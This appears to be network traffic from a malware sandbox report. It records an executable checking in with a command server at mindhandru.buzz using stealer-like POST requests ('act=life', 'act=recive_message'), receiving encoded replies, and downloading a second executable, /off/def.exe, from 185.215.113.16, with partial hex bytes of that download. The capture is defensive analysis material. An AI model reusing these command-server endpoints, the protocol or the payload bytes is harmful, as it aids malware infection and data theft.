Dec 27, 2024 08:45:55.078295946 CET	1.1.1.1	192.168.2.5	0x37fa	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:45:55.270112991 CET	1.1.1.1	192.168.2.5	0x7f00	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:45:55.348201990 CET	1.1.1.1	192.168.2.5	0x3d7e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:45:55.348201990 CET	1.1.1.1	192.168.2.5	0x3d7e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:45:55.379442930 CET	1.1.1.1	192.168.2.5	0x2dd9	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:45:55.379442930 CET	1.1.1.1	192.168.2.5	0x2dd9	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:45:55.379442930 CET	1.1.1.1	192.168.2.5	0x2dd9	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:45:58.200031042 CET	1.1.1.1	192.168.2.5	0x8212	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:45:58.201744080 CET	1.1.1.1	192.168.2.5	0xfc83	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:45:58.201744080 CET	1.1.1.1	192.168.2.5	0xfc83	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:45:58.201744080 CET	1.1.1.1	192.168.2.5	0xfc83	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:45:58.269785881 CET	1.1.1.1	192.168.2.5	0x7e87	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:45:58.269785881 CET	1.1.1.1	192.168.2.5	0x7e87	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:45:58.269785881 CET	1.1.1.1	192.168.2.5	0x7e87	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:45:58.269785881 CET	1.1.1.1	192.168.2.5	0x7e87	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:45:58.270581007 CET	1.1.1.1	192.168.2.5	0xd721	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:45:58.270581007 CET	1.1.1.1	192.168.2.5	0xd721	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:46:05.121218920 CET	1.1.1.1	192.168.2.5	0x5d12	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:46:05.129846096 CET	1.1.1.1	192.168.2.5	0x8f44	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:46:11.295778036 CET	1.1.1.1	192.168.2.5	0x7fb	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:46:11.295799971 CET	1.1.1.1	192.168.2.5	0x2591	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:46:18.236140013 CET	1.1.1.1	192.168.2.5	0x96bd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 27, 2024 08:46:18.236629009 CET	1.1.1.1	192.168.2.5	0xb8e4	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49772	185.215.113.16	80	6472	C:\Users\user\Desktop\7jKx8dPOEs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 08:45:35.784024954 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 27, 2024 08:45:37.124252081 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Dec 2024 07:45:36 GMT Content-Type: application/octet-stream Content-Length: 2784256 Last-Modified: Fri, 27 Dec 2024 07:39:36 GMT Connection: keep-alive ETag: "676e59b8-2a7c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 bf 73 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +s+`Ui`D @ @ @.rsrcD``@.idata f@ricsrhqo)h@otxjrfec T@.taggant@"Z*@
Dec 27, 2024 08:45:37.124289036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:45:37.124304056 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:45:37.124327898 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:45:37.124385118 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:45:37.124399900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:45:37.124414921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 27, 2024 08:45:37.124577999 CET	1236	IN	Data Raw: 82 2f 82 6f 76 05 71 4f c6 04 8b 6f 4e f5 8a 6f 6c 2f 8f 6f 76 05 71 75 4e 03 8b 6f 70 25 65 6f 76 f8 5a 72 76 62 8b 6f 76 08 8b 6f 85 2f 80 6f 76 11 19 83 76 07 85 79 6b f5 86 5a 2f 04 83 09 6a 0e 28 87 76 07 85 21 53 07 8b 1f 4e fe 8a 6f 6c 2b Data Ascii: /ovqOoNol/ovquNop%eovZrvbovo/ovvykZ/j(v!SNol+fxol'ot}oNopYp/ovqWjumluovcsvUn2{ndWruP1ovZrvgovo/ovvykZ4j(v!uNol+cxol'ot}oNopYp/ovqxol/ovqw?
Dec 27, 2024 08:45:37.124635935 CET	1236	IN	Data Raw: 6e 05 8b 6b 70 e5 82 75 76 d6 90 9d 6e 05 8b fd 6c ed 83 75 76 62 91 9d 6e 05 8b b9 6c ed 83 75 76 4a 82 a1 6c 11 8b f5 6c 93 82 75 76 f5 83 79 76 05 8b a4 6e ed 83 75 76 66 90 9d 6e 05 8b 9b 71 ed 83 75 76 aa 82 9d 6e 05 8b 37 72 1e 83 75 76 63 Data Ascii: nkpuvnluvbnluvJlluvyvnuvfnquvn7ruvcnQkuvayvruvnovovpvouYpI4vpvvNmBpvovn@vrvovovfvvruqvvovovfvrumvvov\|ovfQvru7t
Dec 27, 2024 08:45:37.124649048 CET	1236	IN	Data Raw: 76 5e 8b d6 6d f7 8a f0 76 a4 82 75 76 7e 8b d6 6d 01 8b b8 76 a4 82 75 76 8e 8b d6 6d 05 8b d8 76 a4 82 70 76 be 8b 60 6d 2e 8b c8 76 30 84 5b 76 e6 8b 65 6d 19 8b e0 76 23 85 30 76 96 8b 03 72 44 8b 98 76 30 84 3a 76 96 8b 7b 71 36 8b a0 76 b6 Data Ascii: v^mvuv~mvuvmvpv`m.v0[vemv#0vrDv0:v{q6vvzkcvvsnYv*vpvuvwvxvvvxxvwvzxv'vSvxv/v[vxvvgvxvv/vxvCv7vxxv7vCvxv?vKvxvgv
Dec 27, 2024 08:45:37.244081974 CET	1236	IN	Data Raw: 29 4c 4f 38 30 3e 38 31 27 4c 3f 4e 33 4c 49 35 2d 44 8b 42 31 39 41 38 33 42 38 40 41 42 3d 48 37 48 48 3d 30 4e 50 6f 43 48 38 3c 35 4d 4a 36 31 39 38 3b 27 48 44 6f 43 42 3d 45 2d 48 4e 4e 31 39 3d 3e 44 3c 4c 41 2d 33 42 32 35 4b 8b 42 31 39 Data Ascii: )LO80>81'L?N3LI5-DB19A83B8@AB=H7HH=0NPoCH8<5MJ6198;'HDoCB=E-HNN19=>D<LA-3B25KB19A83B84D9HA7MHA)FGoCB=E-HNNA8NA7CN5-MN37HH=B9H;v8NA@NL47HH=B9H;v8CDBCHF(<4D5B21<<C'7B19A83B8:19I4<OA-5NAv8NA@NL47EB;1<<HC3N<7C=8@B=oCB=E-HNN5HL4C8B19A83B80K8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	172.67.165.185	443	6472	C:\Users\user\Desktop\7jKx8dPOEs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:44:54 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 07:44:54 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 07:44:55 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:44:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c7n1urg8vkd5vp871acof6ap50; expires=Tue, 22 Apr 2025 01:31:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sr1zuyM34PJVGueRBiekov4ZeaKTCecy7rLWRdTw2gNAoS%2F69nE7ObVhA3AF5hkAez%2Bo9gvxrd6GTrj6czpPgAPLZXHLXk4j8KxjvMxkptHQfvhQj19fTyOGfG7INmTwW7Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b0283ca60c94-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17977&min_rtt=4640&rtt_var=10107&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=629310&cwnd=146&unsent_bytes=0&cid=651fc1445f5b9995&ts=757&x=0"
2024-12-27 07:44:55 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 07:44:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	172.67.165.185	443	6472	C:\Users\user\Desktop\7jKx8dPOEs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:44:56 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: mindhandru.buzz
2024-12-27 07:44:56 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-27 07:44:57 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:44:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ggrfthlvf80cqau10ksguopotq; expires=Tue, 22 Apr 2025 01:31:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5lhkmTpS7wOUnI%2BOFk20GwGs6S6ftetq4ti4hbMwRzOwz7M%2BgVhsW161kYe4Xwn6akWuLjjJl9MdhmwL97Ozjlx817mb04UK582PqhnbUbXCZG5nIBd4N3S%2Bwaje2RJsYBE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b034dddfc32c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1504&min_rtt=1499&rtt_var=573&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=952&delivery_rate=1889967&cwnd=171&unsent_bytes=0&cid=d34090c146e671be&ts=786&x=0"
2024-12-27 07:44:57 UTC	246	IN	Data Raw: 63 34 39 0d 0a 2b 34 49 51 2b 4c 47 63 59 67 65 47 70 5a 71 38 44 32 6c 79 57 36 48 35 61 4a 44 4f 4f 74 46 4f 33 41 50 6e 68 6c 47 56 34 33 32 41 6f 47 62 61 69 36 68 4f 4a 66 58 41 75 49 5a 37 47 77 63 2b 6a 64 73 4a 39 4f 77 41 74 79 2b 77 63 49 4b 71 63 2b 4f 4f 58 38 48 6b 63 5a 54 43 2b 55 34 6c 34 39 32 34 68 6c 51 53 55 44 37 50 32 31 4b 79 71 31 43 7a 4c 37 42 68 68 75 30 2b 35 59 38 65 6b 2b 35 33 6b 4e 54 2f 42 6d 62 71 79 50 2f 5a 61 67 67 59 4e 63 69 55 41 50 33 73 46 76 4d 72 70 69 48 64 70 42 7a 77 6c 78 79 32 34 32 4f 54 6b 2b 46 4f 66 4b 54 41 39 4a 34 31 53 78 4d 2b 77 35 55 4f 39 4b 56 53 75 53 61 34 59 49 50 73 49 66 79 46 46 5a 50 67 64 4a 48 65 39 68 4a 72 34 4d 2f 30 33 32 41 49 55 48 65 44 6e 42 4b 79 39 Data Ascii: c49+4IQ+LGcYgeGpZq8D2lyW6H5aJDOOtFO3APnhlGV432AoGbai6hOJfXAuIZ7Gwc+jdsJ9OwAty+wcIKqc+OOX8HkcZTC+U4l4924hlQSUD7P21Kyq1CzL7Bhhu0+5Y8ek+53kNT/BmbqyP/ZaggYNciUAP3sFvMrpiHdpBzwlxy242OTk+FOfKTA9J41SxM+w5UO9KVSuSa4YIPsIfyFFZPgdJHe9hJr4M/032AIUHeDnBKy9
2024-12-27 07:44:57 UTC	1369	IN	Data Raw: 42 6a 67 48 72 31 77 6c 50 45 2b 35 34 64 66 68 71 35 72 32 74 54 79 51 44 32 6b 7a 2f 54 51 61 41 67 66 50 73 4b 62 47 50 32 73 57 37 73 6b 75 6d 75 4b 36 7a 7a 35 69 78 69 52 36 58 57 56 31 50 59 47 61 75 65 48 74 70 35 71 45 31 42 68 67 37 73 61 38 61 39 4d 76 6a 33 2b 66 73 76 39 63 2f 43 4e 58 38 47 67 64 4a 54 53 38 77 42 33 37 4d 7a 7a 32 33 38 41 47 54 54 4f 6d 77 66 34 6f 31 75 7a 4b 37 52 72 69 75 34 33 2b 6f 77 5a 6d 65 41 79 31 4a 50 35 47 43 57 38 68 39 76 62 66 51 77 63 4c 34 47 68 53 75 33 69 51 66 4d 72 73 69 48 64 70 44 76 79 67 68 79 53 37 33 47 53 32 4f 77 41 64 2b 4c 4b 2f 63 78 72 44 68 34 7a 77 49 6b 41 2f 4b 70 62 75 69 65 33 5a 49 4c 67 63 37 6e 42 47 49 47 67 4b 74 72 79 38 77 74 70 37 74 44 34 6e 6e 4a 46 43 58 6e 45 6c 30 71 71 Data Ascii: BjgHr1wlPE+54dfhq5r2tTyQD2kz/TQaAgfPsKbGP2sW7skumuK6zz5ixiR6XWV1PYGaueHtp5qE1Bhg7sa8a9Mvj3+fsv9c/CNX8GgdJTS8wB37Mzz238AGTTOmwf4o1uzK7Rriu43+owZmeAy1JP5GCW8h9vbfQwcL4GhSu3iQfMrsiHdpDvyghyS73GS2OwAd+LK/cxrDh4zwIkA/Kpbuie3ZILgc7nBGIGgKtry8wtp7tD4nnJFCXnEl0qq
2024-12-27 07:44:57 UTC	1369	IN	Data Raw: 44 2b 4c 38 58 6a 4b 37 66 5a 58 37 50 6a 5a 70 6e 5a 76 44 56 6d 36 73 6e 2f 79 43 30 55 58 69 43 44 6e 41 61 79 39 42 69 2b 4c 62 5a 6e 6c 2b 73 2b 39 49 38 52 6c 75 56 39 6b 74 50 2b 44 57 44 67 7a 50 50 64 59 41 38 43 4d 38 4f 54 44 2f 4f 6d 55 76 4e 69 2f 6d 61 64 70 47 75 33 73 41 69 53 6f 6b 65 5a 33 66 41 48 63 36 54 59 74 73 63 74 44 42 78 35 6d 39 73 48 2b 71 6c 64 76 43 32 30 62 34 44 75 50 2f 2b 50 48 49 76 76 64 70 72 66 39 67 70 6f 36 73 50 77 31 32 59 41 46 6a 6e 43 6b 55 71 38 37 46 2b 72 62 4f 59 68 73 65 4d 2f 2b 6f 35 64 72 4f 4e 38 6c 4e 54 6f 51 48 71 71 33 72 6a 5a 59 55 74 49 65 63 2b 53 43 76 6d 6d 58 4c 4d 72 73 32 53 47 34 7a 44 36 68 68 57 58 35 33 61 57 32 76 4d 47 5a 65 50 44 2f 63 78 6f 41 68 77 31 67 39 56 4b 39 62 51 59 36 Data Ascii: D+L8XjK7fZX7PjZpnZvDVm6sn/yC0UXiCDnAay9Bi+LbZnl+s+9I8RluV9ktP+DWDgzPPdYA8CM8OTD/OmUvNi/madpGu3sAiSokeZ3fAHc6TYtsctDBx5m9sH+qldvC20b4DuP/+PHIvvdprf9gpo6sPw12YAFjnCkUq87F+rbOYhseM/+o5drON8lNToQHqq3rjZYUtIec+SCvmmXLMrs2SG4zD6hhWX53aW2vMGZePD/cxoAhw1g9VK9bQY6
2024-12-27 07:44:57 UTC	168	IN	Data Raw: 4a 70 47 75 33 69 42 61 4c 37 6e 79 54 33 76 67 49 59 75 72 4b 38 39 68 6d 44 42 63 2f 7a 70 4d 48 39 36 39 5a 74 79 61 73 59 6f 37 75 50 76 33 42 55 64 6e 6e 61 74 71 4c 76 69 64 70 7a 64 66 6a 7a 48 74 4c 44 33 66 61 32 77 33 2b 37 41 44 7a 4c 37 46 6f 69 75 77 37 2b 49 34 62 6c 2b 5a 30 6c 39 62 78 43 6e 66 73 79 66 58 56 59 67 41 43 4f 63 36 66 42 76 61 6b 55 37 6c 73 38 43 47 43 2f 48 4f 76 77 53 71 55 37 33 4b 5a 78 62 34 66 4b 2f 32 48 2f 39 49 74 55 31 41 31 7a 5a 73 46 2f 71 42 54 75 0d 0a Data Ascii: JpGu3iBaL7nyT3vgIYurK89hmDBc/zpMH969ZtyasYo7uPv3BUdnnatqLvidpzdfjzHtLD3fa2w3+7ADzL7Foiuw7+I4bl+Z0l9bxCnfsyfXVYgACOc6fBvakU7ls8CGC/HOvwSqU73KZxb4fK/2H/9ItU1A1zZsF/qBTu
2024-12-27 07:44:57 UTC	1369	IN	Data Raw: 33 63 64 33 0d 0a 79 32 79 62 34 4c 68 4f 76 2b 4a 44 5a 6a 6b 65 70 76 64 38 51 46 68 34 63 4c 38 32 57 6b 4e 48 33 6d 4e 32 77 33 71 37 41 44 7a 41 35 6c 55 78 38 55 4a 74 35 35 52 67 4b 42 31 6c 70 4f 6d 51 47 6e 6e 79 2f 44 52 61 77 49 63 4d 38 71 51 42 76 6d 6f 56 4c 6f 70 75 47 43 41 34 54 4c 7a 6a 52 57 66 34 33 47 56 33 50 45 49 4a 61 71 48 2f 38 59 74 55 31 41 63 31 4a 41 45 39 4f 78 48 2f 54 58 2b 5a 6f 6d 6b 61 37 65 4e 46 70 2f 6d 64 35 62 53 2b 41 68 67 37 4d 50 35 32 47 73 49 48 7a 33 47 6d 67 58 32 6f 46 61 35 4c 62 39 74 6a 75 73 34 38 73 46 52 32 65 64 71 32 6f 75 2b 4d 57 62 79 30 4f 6a 53 4c 52 52 65 49 49 4f 63 42 72 4c 30 47 4c 49 2b 74 47 75 4c 34 54 7a 79 67 68 43 65 37 58 53 57 32 66 63 49 59 2b 76 4f 36 74 31 68 42 52 63 33 7a 35 Data Ascii: 3cd3y2yb4LhOv+JDZjkepvd8QFh4cL82WkNH3mN2w3q7ADzA5lUx8UJt55RgKB1lpOmQGnny/DRawIcM8qQBvmoVLopuGCA4TLzjRWf43GV3PEIJaqH/8YtU1Ac1JAE9OxH/TX+Zomka7eNFp/md5bS+Ahg7MP52GsIHz3GmgX2oFa5Lb9tjus48sFR2edq2ou+MWby0OjSLRReIIOcBrL0GLI+tGuL4TzyghCe7XSW2fcIY+vO6t1hBRc3z5
2024-12-27 07:44:57 UTC	1369	IN	Data Raw: 58 37 51 6c 74 58 4f 50 34 7a 54 38 69 52 53 57 35 6d 43 57 33 65 77 46 64 2f 61 48 74 70 35 71 45 31 42 68 67 36 30 4e 34 72 78 62 38 52 32 6f 59 70 50 76 50 76 76 42 41 4e 66 35 4d 70 33 66 76 6c 67 6c 34 73 6a 78 33 57 49 4b 47 54 58 4f 6e 67 50 33 72 56 36 33 4a 72 52 68 67 2b 49 79 38 6f 73 63 6d 4f 70 37 6e 64 76 35 41 33 65 6b 69 62 6a 5a 64 55 74 49 65 65 71 63 47 50 79 38 47 4b 78 69 70 79 47 43 36 48 4f 76 77 52 75 54 37 33 61 64 33 2f 67 46 59 2b 6e 47 39 39 39 74 42 42 51 79 79 70 30 4c 2f 36 6c 56 74 7a 36 30 61 6f 72 6f 4f 76 75 4d 58 39 65 67 64 59 4b 54 70 6b 42 55 36 63 6e 32 32 58 74 4c 44 33 66 61 32 77 33 2b 37 41 44 7a 4c 62 4a 75 68 75 73 77 39 49 41 56 69 2f 4a 2b 6b 39 76 37 44 47 37 71 77 65 72 59 59 67 49 54 4f 73 71 63 41 76 36 Data Ascii: X7QltXOP4zT8iRSW5mCW3ewFd/aHtp5qE1Bhg60N4rxb8R2oYpPvPvvBANf5Mp3fvlgl4sjx3WIKGTXOngP3rV63JrRhg+Iy8oscmOp7ndv5A3ekibjZdUtIeeqcGPy8GKxipyGC6HOvwRuT73ad3/gFY+nG999tBBQyyp0L/6lVtz60aoroOvuMX9egdYKTpkBU6cn22XtLD3fa2w3+7ADzLbJuhusw9IAVi/J+k9v7DG7qwerYYgITOsqcAv6
2024-12-27 07:44:57 UTC	1369	IN	Data Raw: 36 38 68 33 66 49 6a 34 49 59 41 31 2f 6b 79 6e 64 2b 2b 57 43 58 69 7a 76 37 5a 61 77 55 43 50 4d 57 55 42 66 75 6c 58 4c 73 76 76 6d 57 42 34 7a 62 30 6a 52 53 65 34 33 32 65 32 76 41 4a 61 71 53 4a 75 4e 6c 31 53 30 68 35 34 6f 41 4a 2f 71 45 59 72 47 4b 6e 49 59 4c 6f 63 36 2f 42 45 35 66 6c 63 70 44 56 2b 67 56 6a 37 73 4c 34 31 57 34 45 46 44 2f 48 6c 41 72 35 70 56 6d 31 4b 62 52 71 67 2b 6b 77 38 59 64 66 31 36 42 31 67 70 4f 6d 51 45 58 2f 79 76 54 5a 4c 52 52 65 49 49 4f 63 42 72 4c 30 47 4c 67 67 75 6d 61 46 36 54 44 2f 68 42 75 54 35 58 4b 53 77 66 59 41 59 76 62 56 2b 4e 64 6f 42 78 4d 35 78 35 30 44 39 4b 39 63 38 32 4c 2b 5a 70 32 6b 61 37 65 73 45 35 37 4a 64 59 47 54 34 55 35 38 70 4d 44 30 6e 6a 56 4c 45 54 4c 4a 6c 41 66 78 71 6c 75 34 Data Ascii: 68h3fIj4IYA1/kynd++WCXizv7ZawUCPMWUBfulXLsvvmWB4zb0jRSe432e2vAJaqSJuNl1S0h54oAJ/qEYrGKnIYLoc6/BE5flcpDV+gVj7sL41W4EFD/HlAr5pVm1KbRqg+kw8Ydf16B1gpOmQEX/yvTZLRReIIOcBrL0GLggumaF6TD/hBuT5XKSwfYAYvbV+NdoBxM5x50D9K9c82L+Zp2ka7esE57JdYGT4U58pMD0njVLETLJlAfxqlu4
